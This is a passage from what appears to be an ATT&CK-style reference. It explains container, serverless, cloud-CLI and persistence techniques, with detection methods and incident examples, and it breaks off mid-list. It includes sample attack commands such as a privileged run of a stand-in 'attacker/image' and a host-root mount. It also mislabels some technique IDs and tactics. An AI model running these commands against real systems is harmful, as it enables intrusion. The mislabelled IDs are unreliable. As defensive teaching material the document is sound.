* **APT32 (OceanLotus):**
  * Created malicious Windows services to execute backdoors and maintain persistence.
  * Utilized `sc.exe` to install services pointing to malicious binaries stored in hidden directories.
* **Lazarus Group:**
  * Leveraged systemd services on Linux servers to execute cryptocurrency mining malware persistently.
  * Created `.service` files in `/etc/systemd/system/` pointing to malicious scripts or binaries.
* **TrickBot Malware:**
  * Frequently created malicious Windows services to execute payloads and establish persistent access.
  * Used randomized service names and placed malicious executables in legitimate-looking directories.
* **FIN7 Cybercriminal Group:**
  * Created persistent Windows services to execute Cobalt Strike payloads and maintain long-term access.
  * Leveraged malicious PowerShell scripts to automate service creation and modification.
* **Emotet Malware:**
  * Utilized Windows services to execute payloads and maintain persistence across system reboots.
  * Created services with deceptive names mimicking legitimate Windows processes or services.

In each scenario, adversaries leveraged service execution to achieve persistence, privilege escalation, stealthy execution, and lateral movement. Detection and mitigation of these malicious services were crucial in containing and remediating the compromise.


# Container Administration Command

Container Administration Command \[T1609]

## Information

* Name: Container Administration Command
* ID: T1609
* Tactics: [TA0002](/mitre/mitre/ta0002)

## Introduction

Container Administration Command is classified under the MITRE ATT\&CK framework as technique T1609, falling under the tactic of Execution. This technique involves adversaries abusing commands related to container management tools (such as Docker, Kubernetes, or containerd) to execute commands within containers or orchestrate malicious activities. Attackers leverage these legitimate administrative tools to gain persistence, escalate privileges, move laterally, or execute arbitrary code within compromised environments. Due to the widespread adoption and reliance on containerization technologies, this technique is becoming increasingly prevalent and impactful in modern infrastructure.

## Deep Dive Into Technique

Attackers exploit container administration commands by leveraging legitimate container runtime interfaces, orchestrators, and management tools. Commonly targeted container technologies include Docker, Kubernetes, containerd, and Podman.

Technical details and execution methods include:

* **Docker Exec**:
  * Attackers utilize `docker exec` to execute commands inside running containers.
  * Example: `docker exec -it [container-id] /bin/bash` allows interactive shell access within a container.
* **Docker Run**:
  * Adversaries may spawn new malicious containers using `docker run`.
  * Example: `docker run -d --privileged attacker/image` creates a privileged container with elevated permissions.
* **Kubernetes Exec**:
  * Using `kubectl exec`, attackers can run commands inside Kubernetes pods.
  * Example: `kubectl exec -it [pod-name] -- /bin/sh`.
* **Containerd and CRI Interfaces**:
  * Attackers may directly communicate with lower-level container runtimes (containerd, CRI-O) via their APIs to manage containers and execute arbitrary commands.
* **Misconfigured APIs and Sockets**:
  * Exposed Docker sockets (`/var/run/docker.sock`) or Kubernetes APIs without proper authentication allow attackers to remotely manage containers.
  * Example: Attackers use curl or Docker CLI to interact with exposed Docker APIs.

Real-world procedures typically involve:

* Privilege escalation through container breakout techniques.
* Persistence by deploying malicious containers that restart automatically.
* Lateral movement across containerized environments by exploiting insecure network configurations and shared volumes.
* Data exfiltration by mounting sensitive host directories into containers.

## When this Technique is Usually Used

Attackers commonly use Container Administration Command techniques during various attack stages and scenarios:

* **Initial Access and Reconnaissance**:
  * Exploiting exposed container management APIs or sockets to gain initial foothold.
* **Execution and Privilege Escalation**:
  * Running commands inside containers to escalate privileges or break out to host systems.
* **Persistence**:
  * Deploying malicious containers with restart policies to maintain presence after reboots.
* **Lateral Movement**:
  * Leveraging container orchestration tools (e.g., Kubernetes namespaces and clusters) to pivot across different nodes and services.
* **Defense Evasion**:
  * Utilizing ephemeral containers or containerized malware to evade traditional security controls and monitoring tools.
* **Exfiltration and Impact**:
  * Mounting sensitive host directories, exfiltrating data, or performing denial-of-service attacks by resource exhaustion.

## How this Technique is Usually Detected

Effective detection of Container Administration Command techniques involves monitoring container runtime activities, analyzing logs, and employing specialized tools:

* **Monitoring Command Execution Logs**:
  * Docker daemon logs (`/var/log/docker.log` or journalctl logs).
  * Kubernetes audit logs for suspicious `kubectl exec` commands.
* **Runtime Security Tools and Agents**:
  * Falco, Aqua Security, Sysdig Secure, Prisma Cloud, and similar tools that monitor container runtime behavior and detect anomalies.
* **Host-Based Detection**:
  * Monitoring access patterns to container runtime sockets (`/var/run/docker.sock`).
  * Detecting unexpected container creations, privileged containers, or unusual container images being pulled from external registries.
* **Behavioral Anomaly Detection**:
  * Machine learning-based anomaly detection tools that identify deviations from baseline container usage patterns.
* **Indicators of Compromise (IoCs)**:
  * Unusual container images or registries (`docker pull` from unknown sources).
  * Abnormal container command executions (`docker exec` or `kubectl exec`).
  * Privileged or host-mounted containers (`docker run --privileged`, `docker run -v /:/host`).
  * Unexpected container resource usage spikes or network connections.

## Why it is Important to Detect This Technique

Early and accurate detection of Container Administration Command abuse is critical due to its severe potential impacts:

* **Privilege Escalation and Host Compromise**:
  * Attackers may escalate privileges by escaping containers, gaining root-level access to underlying hosts or clusters.
* **Persistence and Stealth**:
  * Malicious containers can persist undetected, providing attackers with long-term footholds within infrastructure.
* **Lateral Movement and Spread**:
  * Container environments often span multiple hosts and clusters, enabling attackers to rapidly pivot across systems and networks.
* **Data Theft and Exfiltration**:
  * Attackers can mount sensitive host volumes, access confidential information, and exfiltrate data covertly.
* **Resource Exhaustion and Denial-of-Service**:
  * Malicious containers can exhaust CPU, memory, or network resources, causing service degradation or outages.
* **Regulatory and Compliance Risks**:
  * Undetected container-based attacks can lead to data breaches, compliance violations, and significant reputational and financial damage.

## Examples

Real-world examples and attack scenarios leveraging Container Administration Command techniques include:

* **TeamTNT Malware Campaign**:
  * Attackers targeted exposed Docker APIs to deploy malicious containers running cryptominers and stealing AWS credentials.
  * Tools used: Docker CLI, custom scripts, cryptomining binaries.
  * Impact: Resource exhaustion, financial loss, credential theft.
* **Hildegard Malware**:
  * Exploited misconfigured Kubernetes clusters to deploy cryptominers and conduct lateral movement.
  * Tools used: Kubernetes management commands (`kubectl exec`, `kubectl create`), Monero cryptominer binaries.
  * Impact: Unauthorized resource utilization, lateral movement across clusters.
* **Doki Malware**:
  * Leveraged Docker APIs to execute malicious containers, evade detection, and establish persistence.
  * Tools used: Docker CLI, Ngrok tunneling, cryptomining payloads.
  * Impact: Persistent foothold, cryptomining, unauthorized access to infrastructure.
* **Graboid Worm**:
  * Spread through exposed Docker daemons, pulling malicious images and propagating across container hosts.
  * Tools used: Docker CLI commands, malicious Docker images hosted on Docker Hub.
  * Impact: Rapid lateral spread, unauthorized cryptomining, resource exhaustion.

These examples illustrate the significant impact and widespread use of Container Administration Command techniques, underscoring the importance of monitoring, detection, and robust security measures in containerized environments.


# Deploy Container

Deploy Container \[T1609.001]

## Information

* Name: Deploy Container
* ID: T1609.001
* Tactics: [TA0002](/mitre/mitre/ta0002)

## Introduction

Deploy Container (T1609.001) is a sub-technique within the MITRE ATT\&CK framework under the broader Container Administration Command (T1609) technique category. This sub-technique involves adversaries deploying malicious containers within compromised environments. Containers are lightweight, standalone executable software packages that encapsulate applications and their dependencies. Attackers leverage container deployment to execute unauthorized code, escalate privileges, evade defenses, and establish persistence within cloud, virtual, or containerized environments.

## Deep Dive Into Technique

Deploy Container (T1609.001) involves adversaries utilizing container orchestration platforms or container runtime engines to launch malicious containers. Containers are typically deployed through container runtimes such as Docker, containerd, CRI-O, or through orchestrators such as Kubernetes, Docker Swarm, and OpenShift.

Technical execution methods and mechanisms include:

* **Container Runtime Abuse:**
  * Attackers may directly interact with container runtime APIs or command-line interfaces (CLIs) such as Docker CLI (`docker run`), containerd (`ctr run`), or CRI-O (`crictl run`) to deploy malicious containers.
  * Malicious containers can be deployed with privileged settings (`--privileged`) to gain elevated access to the host system.
* **Container Orchestration Abuse:**
  * Attackers may exploit compromised Kubernetes clusters or other orchestration platforms to deploy malicious workloads via YAML manifests or JSON definitions.
  * Malicious deployments may involve creating new Pods, DaemonSets, or Deployments within Kubernetes environments, allowing attackers to scale malicious activities across multiple nodes.
* **Image Pulling from Malicious Registries:**
  * Attackers may instruct compromised systems to pull container images from attacker-controlled registries, typically hosted externally or within compromised internal registries.
  * Malicious images may contain backdoors, cryptocurrency miners, credential harvesters, or other malicious payloads.
* **Evading Detection and Establishing Persistence:**
  * Containers can be ephemeral and easily destroyed or recreated, helping attackers evade detection.
  * Attackers may deploy containers that automatically restart upon termination, ensuring persistent footholds within compromised environments.

## When this Technique is Usually Used

Attack scenarios and stages where Deploy Container (T1609.001) is typically observed include:

* **Initial Access and Execution:**
  * Adversaries may exploit container runtime or orchestration platform misconfigurations, vulnerabilities, or weak authentication mechanisms to deploy malicious containers as their initial foothold.
* **Privilege Escalation:**
  * Malicious containers may be deployed with elevated privileges, allowing attackers to escalate privileges from containerized environments to underlying host systems.
* **Persistence:**
  * Containers can be configured to restart automatically, providing attackers persistent access even after system restarts or container termination.
* **Defense Evasion:**
  * Deploying malicious containers can help attackers evade traditional endpoint security solutions, as containers often run in isolated environments and may not be thoroughly scanned or monitored.
* **Resource Hijacking and Cryptomining:**
  * Attackers deploy containers containing cryptocurrency mining software, consuming compute resources from compromised environments.
* **Lateral Movement and Data Exfiltration:**
  * Malicious containers may be deployed to facilitate lateral movement across containerized clusters or to exfiltrate data from internal networks to external attacker-controlled servers.

## How this Technique is Usually Detected

Detection methods, tools, and specific indicators of compromise (IoCs) for Deploy Container (T1609.001) include:

* **Monitoring Container Runtime Logs and Commands:**
  * Monitor container runtime logs (Docker daemon logs, containerd logs) for unusual container creation or execution commands.
  * Identify suspicious command-line parameters, such as `--privileged`, unusual image repositories, or unexpected container names.
* **Monitoring Container Orchestration Events:**
  * Monitor Kubernetes audit logs or orchestration platform event logs for suspicious Pod deployments, DaemonSets, or Deployments originating from unknown or unauthorized users or service accounts.
  * Detect deployments referencing external or unknown container registries.
* **Image Registry Monitoring:**
  * Monitor network traffic to external container registries or unknown repositories.
  * Track container image pulls from unusual or untrusted registries.
* **Behavioral Anomaly Detection:**
  * Detect containers exhibiting unusual resource usage (CPU, memory spikes) indicative of cryptomining or other malicious activity.
  * Monitor containers performing unexpected network activity, such as outbound connections to unknown IP addresses or domains.
* **File Integrity and Container Image Scanning:**
  * Implement container image scanning tools (such as Clair, Anchore, or Aqua Security) to detect vulnerabilities or malicious payloads within deployed container images.
  * Establish baselines for expected container images and detect deviations from approved images.

Indicators of Compromise (IoCs):

* Unrecognized container images or repositories.
* Containers running with privileged permissions (`--privileged`).
* Unusual network connections originating from containers.
* Sudden spikes in container resource utilization (CPU, memory).
* Unexpected container deployments outside of normal operational schedules.

## Why it is Important to Detect This Technique

Detecting Deploy Container (T1609.001) is crucial due to its potential severe impacts on systems and networks, including:

* **Privilege Escalation and Host Compromise:**
  * Malicious containers with privileged access can compromise underlying host systems, leading to full system compromise and further lateral movement.
* **Resource Exhaustion and Denial of Service:**
  * Malicious containers performing cryptomining or intensive processing tasks can exhaust system resources, degrade performance, and cause denial-of-service conditions.
* **Data Breach and Exfiltration:**
  * Containers can facilitate covert data exfiltration, resulting in sensitive data loss, regulatory fines, and reputational damage.
* **Persistence and Defense Evasion:**
  * Containers provide attackers persistent footholds that are difficult to detect and remove, complicating incident response and remediation efforts.
* **Propagation and Lateral Movement:**
  * Malicious containers can propagate laterally, compromising multiple nodes or clusters, significantly increasing the attack surface and remediation complexity.

Early detection minimizes damage, reduces remediation costs, and limits attackers' ability to escalate privileges, spread laterally, or exfiltrate data.

## Examples

Real-world examples and attack scenarios involving Deploy Container (T1609.001):

* **TeamTNT Malware Campaigns:**
  * Attackers deployed malicious containers containing cryptocurrency miners and credential-stealing scripts.
  * Leveraged Docker APIs exposed without authentication to deploy containers across multiple compromised hosts.
  * Impact: Resource hijacking, credential theft, lateral movement, and persistent footholds.
* **Doki Malware:**
  * Attackers deployed malicious containers via compromised Docker APIs and Kubernetes clusters.
  * Containers executed cryptomining software and established backdoors for persistent access.
  * Impact: Resource exhaustion, persistent backdoor access, and lateral movement within containerized environments.
* **Graboid Worm:**
  * Attackers deployed malicious containers across vulnerable Docker hosts using unsecured Docker APIs.
  * Containers performed cryptomining and propagated laterally by scanning for additional vulnerable hosts.
  * Impact: Rapid lateral propagation, resource hijacking, and persistent footholds across multiple hosts.
* **Hildegard Malware:**
  * Attackers exploited Kubernetes misconfigurations to deploy malicious containers containing cryptominers and reverse shells.
  * Containers ran with privileged permissions, enabling host compromise and lateral movement.
  * Impact: Privilege escalation, host compromise, cryptomining, and persistent footholds in Kubernetes clusters.

These examples demonstrate the critical need for robust detection and monitoring of container deployments, runtime activities, and orchestration events to mitigate threats associated with Deploy Container (T1609.001).


# Serverless Execution

Serverless Execution \[T1648]

## Information

* Name: Serverless Execution
* ID: T1648
* Tactics: [TA0002](/mitre/mitre/ta0002)

## Introduction

Serverless Execution is recognized in the MITRE ATT\&CK framework as a technique (T1648) under the Execution tactic. Attackers exploit cloud-based serverless computing resources to execute malicious code without the need for managing traditional server infrastructure. Leveraging serverless platforms such as AWS Lambda, Azure Functions, or Google Cloud Functions, adversaries can run malicious workloads, evade traditional detection mechanisms, and obscure attribution due to the ephemeral and dynamic nature of serverless environments.

## Deep Dive Into Technique

Serverless Execution involves utilizing cloud computing platforms that dynamically allocate resources to execute code snippets or functions without explicit provisioning or management of underlying infrastructure.

Technical details include:

* **Serverless Platforms**:
  * AWS Lambda
  * Azure Functions
  * Google Cloud Functions
  * IBM Cloud Functions (Apache OpenWhisk)
* **Execution Methods**:
  * Triggering malicious functions via HTTP requests, API calls, or event-driven triggers.
  * Embedding malicious payloads within legitimate serverless applications.
  * Exploiting misconfigured permissions or IAM roles to deploy unauthorized functions.
* **Mechanisms**:
  * Attackers typically package malicious code in supported languages (Python, Node.js, Java, C#, Go) and deploy it as serverless functions.
  * Functions can be triggered through various events, such as file uploads, database changes, scheduled events, or API endpoints.
  * Ephemeral nature of serverless environments complicates forensic analysis, as execution environments are temporary and logs may be limited or transient.
* **Real-world Procedures**:
  * Attackers have utilized compromised cloud credentials or API keys to deploy malicious serverless functions.
  * Functions are often used to exfiltrate sensitive data, establish command-and-control channels, execute cryptomining tasks, or perform lateral movement within cloud environments.
  * Adversaries may exploit overly permissive IAM policies or misconfigured cloud resources to escalate privileges and deploy malicious functions undetected.

## When this Technique is Usually Used

Serverless Execution can appear in various attack scenarios and stages, including:

* **Initial Access**:
  * Leveraging compromised credentials or API keys to deploy malicious serverless functions.
* **Execution Stage**:
  * Running malicious code directly within cloud environments without traditional infrastructure.
* **Persistence**:
  * Creating scheduled serverless functions to maintain continuous presence and re-establish access.
* **Defense Evasion**:
  * Utilizing ephemeral and transient execution environments to evade traditional detection mechanisms.
* **Command and Control (C2)**:
  * Establishing covert communication channels via serverless functions triggered by legitimate cloud events.
* **Data Exfiltration**:
  * Using serverless functions to extract sensitive data from cloud storage or databases to external attacker-controlled endpoints.
* **Resource Hijacking**:
  * Deploying serverless functions for cryptomining or other resource-intensive tasks, exploiting cloud provider resources.

## How this Technique is Usually Detected

Detection of Serverless Execution involves monitoring cloud environments for suspicious activities and implementing specific security measures, including:

* **Cloud Provider Logs and Monitoring**:
  * AWS CloudTrail, Azure Monitor, Google Cloud Audit Logs for detecting unauthorized function deployments or executions.
  * Monitoring for unusual spikes in function invocations, resource usage, or billing anomalies.
* **Behavioral Analytics and Anomaly Detection**:
  * Machine learning-based anomaly detection systems identifying abnormal patterns of serverless function usage.
  * Monitoring for unexpected geographic locations or IP addresses initiating serverless function deployments or executions.
* **IAM and Permissions Auditing**:
  * Continuous auditing of IAM roles, policies, and permissions to detect overly permissive or unauthorized access.
  * Alerting on attempts to escalate privileges or unauthorized deployment of new serverless resources.
* **Network Traffic Analysis**:
  * Analyzing outbound network traffic from serverless functions for unusual destinations or data transfer patterns indicative of data exfiltration or command-and-control activities.
* **Indicators of Compromise (IoCs)**:
  * Unusual serverless function names or descriptions.
  * Unexpected or unauthorized function deployments.
  * Suspicious API calls or unauthorized use of cloud provider APIs.
  * Unusual invocation patterns, timing, or triggers.
  * Unrecognized IP addresses or geographic locations associated with function deployments or executions.
  * Presence of unknown or unauthorized code repositories linked to serverless functions.

## Why it is Important to Detect This Technique

Early detection of Serverless Execution is crucial due to the following potential impacts on systems and networks:

* **Data Breach and Exfiltration**:
  * Attackers can use serverless functions to silently exfiltrate sensitive data, leading to severe financial and reputational damage.
* **Resource Abuse and Financial Loss**:
  * Unauthorized serverless functions can incur significant cloud resource consumption and financial costs through cryptomining or resource-intensive tasks.
* **Persistence and Difficulty in Remediation**:
  * Serverless functions can serve as persistent backdoors or covert command-and-control channels, complicating remediation efforts.
* **Evasion of Traditional Detection Mechanisms**:
  * The ephemeral nature of serverless environments may bypass traditional endpoint or infrastructure-based security controls, increasing detection complexity.
* **Compliance and Regulatory Risks**:
  * Undetected malicious activities within serverless environments may lead to regulatory non-compliance, fines, and legal consequences.
* **Lateral Movement and Escalation**:
  * Serverless functions may facilitate lateral movement within cloud environments, escalating privileges, and compromising additional resources.

Therefore, early detection and continuous monitoring of serverless execution activities are essential for maintaining cloud security posture and preventing significant damage.

## Examples

Real-world examples involving Serverless Execution include:

* **Denonia Malware (2022)**:
  * Attack Scenario:
    * Attackers deployed Denonia malware specifically targeting AWS Lambda serverless environments.
    * Malicious functions were designed to perform cryptomining operations.
  * Tools Used:
    * Denonia malware written in Go, specifically engineered to run in AWS Lambda environments.
  * Impact:
    * Unauthorized resource usage, increased cloud billing, potential compromise of sensitive data, and evasion of traditional detection mechanisms.
* **TeamTNT Cloud Attacks (2021-2022)**:
  * Attack Scenario:
    * TeamTNT exploited misconfigured cloud credentials and IAM policies to deploy malicious serverless functions.
    * Functions were utilized for cryptomining, lateral movement, and establishing persistent backdoors.
  * Tools Used:
    * Open-source cryptomining software (XMRig), AWS Lambda functions, malicious scripts, and compromised credentials.
  * Impact:
    * Significant financial loss due to unauthorized resource consumption, persistent access to cloud environments, and potential data exfiltration.
* **Proof-of-Concept Attacks (Security Research)**:
  * Attack Scenario:
    * Security researchers demonstrated attacks leveraging serverless functions for covert data exfiltration, command-and-control channels, and privilege escalation.
  * Tools Used:
    * Custom-developed malicious serverless functions, cloud provider APIs, and IAM misconfigurations.
  * Impact:
    * Highlighted potential vulnerabilities and risks associated with serverless computing, prompting increased awareness and improved security practices.

These examples emphasize the importance of robust security monitoring, IAM policy enforcement, and proactive threat detection to mitigate risks associated with Serverless Execution techniques.


# Cloud Administration Command

Cloud Administration Command \[T1651]

## Information

* Name: Cloud Administration Command
* ID: T1651
* Tactics: [TA0002](/mitre/mitre/ta0002)

## Introduction

Cloud Administration Command is a technique documented in the MITRE ATT\&CK framework under tactic "Command and Control" (ID: T1651). This technique involves adversaries leveraging legitimate cloud provider APIs and command-line interfaces (CLIs) to execute commands, control compromised systems, maintain persistence, and facilitate data exfiltration. Attackers exploit trusted cloud services to evade detection, as the traffic often blends in with regular administrative activities. Due to the widespread adoption of cloud platforms, this technique presents significant security challenges and risks to organizations relying on cloud infrastructure.

## Deep Dive Into Technique

Cloud Administration Command typically involves adversaries using legitimate administrative tools provided by cloud service providers such as AWS CLI, Azure CLI, Google Cloud SDK, or REST APIs. Attackers may execute commands directly via these interfaces, perform lateral movement, or manage compromised cloud resources remotely.

Technical execution methods include:

* **Cloud CLIs and SDKs**: Attackers install or leverage existing cloud command-line tools on compromised hosts to manage cloud resources.
  * AWS CLI (`aws` commands)
  * Azure CLI (`az` commands)
  * Google Cloud CLI (`gcloud` commands)
* **Cloud Provider APIs**: Attackers directly interact with cloud APIs using HTTP requests, often automated via scripts or tools, to remotely execute commands, manage resources, and exfiltrate data.
* **Cloud Management Consoles**: Adversaries gain access to cloud management consoles through stolen credentials or compromised identity providers, enabling direct administration of cloud resources.
* **Automation Tools and Scripts**: Attackers frequently use automation frameworks such as Terraform, Ansible, or custom scripts to automate cloud resource management and command execution.

Mechanisms and procedures include:

* Authentication via compromised credentials, API keys, or OAuth tokens.
* Command execution to control cloud-hosted virtual machines (VMs), containers, or serverless functions.
* Modifying cloud infrastructure configurations (e.g., security groups, IAM policies) to maintain persistence and evade detection.
* Data exfiltration through cloud storage services or databases managed via cloud provider APIs.

## When this Technique is Usually Used

Attackers commonly employ Cloud Administration Command in various attack scenarios and stages, including:

* **Initial Access**:
  * Using compromised cloud credentials to gain initial foothold.
  * Exploiting misconfigured cloud resources or publicly exposed APIs.
* **Execution and Persistence**:
  * Remotely executing commands on cloud-hosted infrastructure to maintain persistent access.
  * Modifying cloud configurations to create persistent backdoors.
* **Privilege Escalation and Lateral Movement**:
  * Leveraging cloud administrative commands to escalate privileges within cloud environments.
  * Moving laterally by exploiting cloud IAM roles and permissions.
* **Command and Control (C2)**:
  * Utilizing cloud APIs and administrative commands to coordinate and control compromised resources.
* **Exfiltration**:
  * Using cloud storage services or databases accessed through administrative commands to exfiltrate sensitive data.

## How this Technique is Usually Detected

Detection of Cloud Administration Command involves monitoring and analyzing cloud infrastructure activities, logs, and behaviors for suspicious activities. Common detection methods include:

* **Cloud Provider Logs**:
  * AWS CloudTrail logs (detect unusual API calls, CLI usage).
  * Azure Activity Logs and Azure Monitor.
  * Google Cloud Audit Logs.
* **Behavioral Analytics and Anomaly Detection**:
  * Identifying unusual patterns of administrative activity, such as execution of unexpected commands or API calls.
  * Monitoring for abnormal access times, locations, or unusually large data transfers.
* **Identity and Access Management (IAM) Monitoring**:
  * Detecting unusual IAM policy modifications or privilege escalation attempts.
  * Monitoring for the creation of new IAM users, roles, or API keys.
* **Endpoint Detection and Response (EDR)**:
  * Detecting installation or execution of cloud CLIs or SDKs on compromised endpoints.
  * Monitoring suspicious command-line executions or scripts.
* **Network Monitoring and Analysis**:
  * Identifying unusual outbound connections to cloud provider endpoints.
  * Monitoring for abnormal network traffic patterns or data exfiltration attempts.

Indicators of Compromise (IoCs):

* Unusual or unauthorized CLI/API calls (e.g., `aws sts get-caller-identity`, `az account list`).
* Suspicious IAM policy changes, such as overly permissive roles.
* Unexpected cloud resource creation or deletion (e.g., EC2 instances, Lambda functions, storage buckets).
* Anomalous data transfer volumes or patterns to cloud storage.
* Cloud CLI tools installed on unexpected hosts or locations.

## Why it is Important to Detect This Technique

Early detection of Cloud Administration Command is critical due to the potential severe impacts on organizations utilizing cloud infrastructure. Possible impacts include:

* **Data Breach and Exfiltration**:
  * Attackers can easily export sensitive data stored in cloud services.
  * Loss of intellectual property, customer data, or confidential information.
* **Resource Hijacking and Abuse**:
  * Unauthorized usage of cloud resources leading to increased costs.
  * Use of compromised cloud infrastructure for malicious purposes such as crypto-mining or denial-of-service attacks.
* **Persistence and Stealth**:
  * Attackers establish persistent access by modifying cloud infrastructure configurations, making detection and remediation challenging.
* **Compliance and Regulatory Risks**:
  * Unauthorized access and data leaks can result in regulatory fines, legal liabilities, and reputational damage.
* **Operational Disruption**:
  * Attackers may disrupt services by modifying or deleting critical cloud resources.
  * Potential downtime and loss of business continuity.

## Examples

Real-world examples demonstrating Cloud Administration Command include:

* **Capital One Data Breach (2019)**:
  * Attack Scenario: Attacker exploited a misconfigured firewall and executed AWS CLI commands to access sensitive data stored in AWS S3 buckets.
  * Tools Used: AWS CLI commands (`aws s3 sync` and `aws sts assume-role`).
  * Impact: Exfiltration of personal data of over 100 million customers, resulting in significant reputational damage and regulatory penalties.
* **TeamTNT Cloud Attacks (2020-2021)**:
  * Attack Scenario: Attackers scanned for exposed Docker APIs and Kubernetes clusters, then executed cloud administration commands to deploy cryptomining malware and exfiltrate cloud credentials.
  * Tools Used: AWS CLI, Docker APIs, Kubernetes commands, custom scripts.
  * Impact: Unauthorized resource usage, increased cloud costs, data exfiltration, and compromised cloud credentials.
* **Rocke Group Cloud Infrastructure Attacks**:
  * Attack Scenario: Attackers exploited vulnerabilities and misconfigurations in cloud environments, executed commands via cloud provider APIs and CLIs, and installed cryptomining malware.
  * Tools Used: AWS CLI, Azure CLI, custom scripts.
  * Impact: Increased cloud resource usage, financial loss, and compromised infrastructure.
* **Tesla Kubernetes Incident (2018)**:
  * Attack Scenario: Attackers gained access to Tesla’s Kubernetes console, used cloud administrative commands to deploy cryptomining malware on AWS infrastructure.
  * Tools Used: Kubernetes administrative commands, AWS CLI.
  * Impact: Unauthorized use of cloud resources, increased operational costs, and potential reputational damage.

These examples highlight attackers' frequent use of Cloud Administration Command techniques to exploit cloud infrastructure, emphasizing the importance of detection, mitigation, and secure configuration practices.


# Persistence

Persistence \[TA0003]

## Information

* ID: TA0003

## Introduction

Persistence is a critical tactic defined in the MITRE ATT\&CK framework, representing techniques adversaries use to maintain their foothold on compromised systems and networks. After gaining initial access, attackers strive to ensure continued presence, surviving events such as system restarts, credential changes, or defensive measures. Persistence techniques allow attackers to maintain long-term access, enabling them to execute further stages of attacks, perform lateral movement, escalate privileges, or exfiltrate data over extended periods.

## Deep Dive Into Technique

Persistence techniques encompass a variety of methods attackers utilize to ensure continued access:

* **Scheduled Tasks and Cron Jobs:**
  * Attackers configure scheduled tasks (Windows Task Scheduler) or cron jobs (Unix/Linux) to trigger malicious scripts or binaries at specified intervals or events, ensuring repeated execution even after system reboots.
* **Registry Run Keys and Startup Folder:**
  * Malware or scripts can be placed in Windows registry keys such as `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` or within the Windows Startup folder to execute automatically upon system boot or user login.
* **Services and Daemons:**
  * Malicious services (Windows) or daemons (Linux/Unix) can be installed and configured to run automatically, providing attackers with persistent remote access or command-and-control (C2) channels.
* **DLL Search Order Hijacking:**
  * Attackers exploit the DLL loading order in Windows applications by placing malicious DLLs in directories searched before legitimate DLLs, causing malicious code execution upon application startup.
* **Web Shells and Backdoors:**
  * Attackers deploy web shells or backdoors within compromised web servers or applications, enabling persistent remote access through HTTP requests.
* **Bootkits and Rootkits:**
  * Advanced malware implants that embed themselves into system boot processes or kernel-level operations, making detection and removal challenging.
* **Account Manipulation:**
  * Creation or modification of user accounts, including administrator-level accounts, to maintain persistent access through legitimate credentials.
* **Firmware and BIOS Modifications:**
  * Attackers modify firmware or BIOS to persist at the hardware level, surviving system reinstalls or disk replacements.

## When this Technique is Usually Used

Persistence techniques typically appear in various stages and scenarios of cyberattacks, including:

* **Post-Initial Access:**
  * Immediately after initial compromise, attackers implement persistence to ensure stable access before proceeding further into the network.
* **Privilege Escalation and Lateral Movement:**
  * Attackers establish persistence after escalating privileges or moving laterally to new systems, ensuring continued access to critical assets.
* **Long-Term Espionage and Reconnaissance Operations:**
  * Nation-state actors or advanced persistent threats (APTs) use persistence extensively to conduct long-term espionage, surveillance, or data exfiltration operations.
* **Ransomware Attacks:**
  * Attackers deploying ransomware often leverage persistence mechanisms to maintain access, allowing them to monitor victim responses, extract sensitive data, or re-infect systems after initial remediation attempts.
* **Supply Chain Attacks:**
  * Attackers embed persistent backdoors or implants within software updates or third-party services, ensuring prolonged access to multiple downstream victims.

## How this Technique is Usually Detected

Detection of persistence techniques involves multiple methods, tools, and indicators:

* **Endpoint Detection and Response (EDR) Tools:**
  * Monitor and analyze endpoint activities, registry modifications, scheduled tasks, and service creations in real-time.
* **Security Information and Event Management (SIEM) Systems:**
  * Aggregate and correlate logs from multiple sources to identify abnormal behaviors, such as unusual scheduled task execution, registry changes, or abnormal account activities.
* **File Integrity Monitoring (FIM):**
  * Detect unauthorized changes to critical system files, startup folders, cron jobs, or configuration files that indicate persistence attempts.
* **Behavioral Analysis and Threat Hunting:**
  * Proactive searches for anomalous behaviors, such as unexpected DLL loading, unusual process execution, or suspicious network connections indicative of persistent implants.
* **Indicators of Compromise (IoCs):**
  * Specific IoCs include:
    * Unrecognized scheduled tasks or cron jobs.
    * Unusual registry entries in Run keys or startup folders.
    * Unknown services or daemons running persistently.
    * Web shells or backdoors identified on web servers.
    * Suspicious DLL files located in unexpected directories.
    * Unauthorized user account creations or modifications.
    * Network traffic associated with known C2 infrastructure.
* **Memory Analysis and Forensics:**
  * Tools such as Volatility Framework or Rekall can identify hidden processes, injected code, or rootkits residing in memory.

## Why it is Important to Detect This Technique

Early detection of persistence techniques is critical due to their severe impacts and implications for security:

* **Extended Compromise Duration:**
  * Persistence allows attackers prolonged access, increasing the risk of data exfiltration, espionage, sabotage, or further lateral movement.
* **Increased Difficulty in Remediation:**
  * Persistent threats often embed themselves deeply within systems, making remediation challenging and resource-intensive.
* **Risk of Re-infection:**
  * Without detecting and removing persistent mechanisms, organizations risk repeated infections and recurring security incidents.
* **Potential for Privilege Escalation:**
  * Persistent access facilitates attackers in escalating privileges, increasing their ability to cause widespread damage or compromise sensitive information.
* **Data Breaches and Regulatory Consequences:**
  * Persistent threats significantly increase the likelihood of data breaches, potentially resulting in regulatory fines, reputational damage, and loss of customer trust.
* **Operational Disruption:**
  * Persistent threats may lead to prolonged operational disruptions, impacting productivity, revenue, and organizational stability.

## Examples

Real-world examples of persistence techniques, including attack scenarios, tools used, and impacts:

* **SolarWinds Supply Chain Attack (SUNBURST):**
  * Attackers leveraged a malicious DLL embedded into SolarWinds Orion software updates, enabling persistent, stealthy access to thousands of organizations globally.
  * Tools used: Customized DLL implant (SUNBURST), Cobalt Strike, Teardrop.
  * Impacts: Massive data breaches, espionage activities, widespread compromise of government and private sector organizations.
* **APT29 (Cozy Bear) Attacks:**
  * Russian state-sponsored threat actors used scheduled tasks, registry modifications, and web shells to maintain persistent access in targeted networks for espionage.
  * Tools used: PowerShell scripts, custom web shells, scheduled task persistence.
  * Impacts: Prolonged espionage operations, theft of sensitive government and diplomatic information.
* **FIN7 Cybercrime Operations:**
  * Cybercriminal group FIN7 established persistence using malicious Windows services, scheduled tasks, and registry entries to maintain access and conduct financial fraud operations.
  * Tools used: Carbanak malware, PowerShell scripts, malicious services.
  * Impacts: Significant financial losses, credit card data theft, operational disruptions in retail and hospitality sectors.
* **TrickBot Malware Campaigns:**
  * TrickBot malware utilized scheduled tasks, registry run keys, and modular implants to persistently infect endpoints, enabling further ransomware delivery (e.g., Ryuk, Conti).
  * Tools used: TrickBot malware, Emotet loader, scheduled tasks, registry persistence.
  * Impacts: Large-scale ransomware infections, financial losses, operational disruptions across multiple sectors.
* **LoJax UEFI Rootkit:**
